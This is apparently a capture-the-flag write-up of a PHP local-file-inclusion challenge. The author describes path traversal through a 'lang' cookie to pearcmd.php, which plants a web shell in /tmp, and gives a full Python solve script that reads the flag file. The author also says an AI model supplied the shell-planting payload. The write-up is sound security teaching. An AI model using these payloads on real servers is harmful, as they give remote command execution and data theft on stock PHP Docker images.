Gist#

The big idea here is that we can change our lang cookie to be whatever and it will include that php file. In this case what we want to do is include pearcmd.php to create a file that allows us to get RCE.

Important Code#

1
<?php
2
session_start();
3

4
if (isset($_GET['lang'])) {
5
  $lang = $_GET['lang'];
6
  // we don't trust the GET parameter, comes from the user
7
  if ($lang != 'en' && $lang != 'it') {
8
    // default if lang is not valid, is italian
9
    $lang = 'it';
10
  }
11
  // Register the session and set the cookie
12
  $_SESSION['lang'] = $lang;
13
  setcookie('lang', $lang, time() + (3600 * 24 * 30));
14
} else if (isset($_SESSION['lang'])) {
15
  $lang = $_SESSION['lang'];
16
} else if (isset($_COOKIE['lang'])) {
17
  // cookie is safe, we set it ourself
18
  $lang = $_COOKIE['lang'];
19
} else {
20
  // default language is browser language
21
  $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
22
  if ($lang != 'en' && $lang != 'it') {
23
    // default if browser is not valid, is italian
24
    $lang = 'it';
25
  }
26
}
27

28
// include the language file
29
include 'lang/' . $lang . '.php';
30
?>

As we can see here, it will include our cookie value with .php appended to it. I also ran into a problem of it not working and that is because if you already have a PHPSESSID, it will just get the lang value from that. So if you are doing this manually make sure to delete it.

Flag?#

So, looking through the handout, the flag is in rsvp_X.csv, the problem is though that in entrypoint.sh, they rename it with some random number in place of X.

1
#!/bin/sh
2
SECRET=$(openssl rand -hex 16)
3

4
export RSVP_PATH=rsvp_$SECRET.csv
5

6
mv /var/www/html/rsvp_X.csv /var/www/html/$RSVP_PATH
7

8
exec "$@"

So this means its basically impossible to include this file as we would need to know it’s full name.

The Search#

For a while, I was stuck and didn’t know what to do. I even tried including the file with the flag in it, but that doesn’t even make sense as we don’t know the name of it and .php is appended to it. So, after a couple of hours, I figured that we probably needed to find some useful php file.

This is what led me to docker exec -it <container-id> /bin/bash’ing and searching around the container. At some point I eventually stumbled into /usr/local/lib/php/ and found some very interesting files with cmd in their names. Is this it chat?

1
root@container-id:/usr/local/lib/php# ls
2
Archive  Console  OS  PEAR  PEAR.php  Structures  System.php  XML  build  data doc  extensions  pearcmd.php  peclcmd.php  test

So, I searched stuff up about these and found this saying that we can actually use pearcmd.php to get RCE.

https://nvd.nist.gov/vuln/detail/CVE-2022-47945

https://h4ndsh.github.io/2023/phpinfo/

Alright, so now we just have to set our cookie to ../../../../usr/local/lib/php/pearcmd to do some path traversal and use it to create a php file that will allow us to run commands.

This is what happens with the malicious lang.

1
include 'lang/' . '../../../../usr/local/lib/php/pearcmd' . '.php';

Getting RCE#

After consulting my friend who works at OpenAI, it gave me this which creates a php file named shell.php in /tmp/ that runs whatever command we put in the 0 parameter.

1
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=`$_GET[0]`?>+/tmp/shell.php

One problem I ran into was my browser automatically url-encoding the < and >, so I needed to make a get request without it doing that.

Anyways, we can use the the same trick as before and set our lang cookie to be ../../../../tmp/shell.php and once we have that included, we can just visit:

1
/?0=cat%20/var/www/html/rsvp_*.csv

and we get the flag.

I have created a solve script afterwards:

1
import http.client
2

3
conn = http.client.HTTPConnection("localhost", 8000)
4

5
raw_path = "/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=`$_GET[0]`?>+/tmp/shell.php"
6
headers = {
7
    "Cookie": "lang=../../../../usr/local/lib/php/pearcmd"
8
}
9
conn.request("GET", raw_path, headers=headers)
10
response = conn.getresponse()
11
print(response.read().decode())
12

13
raw_path = "/?0=cat%20/var/www/html/rsvp_*.csv"
14
headers = {
15
    "Cookie": "lang=../../../../tmp/shell"
16
}
17
conn.request("GET", raw_path, headers=headers)
18
response = conn.getresponse()
19
print(response.read().decode())

Learnings#

So after some research, I figured out the reason why pearcmd.php is in here in the first place is because it’s included by default in this php server image on docker.

1
FROM php:8.1-apache
2
...

Anyways, thanks for reading, this is one of the more memorable challenges I’ve done because I essentially got really lucky stumbling into /usr/local/lib/php/. I also figured most of this stuff by myself, so the research part of it was really fun too. I will admit though, I got a little help from my friend at OpenAI.

Thanks for reading! 😊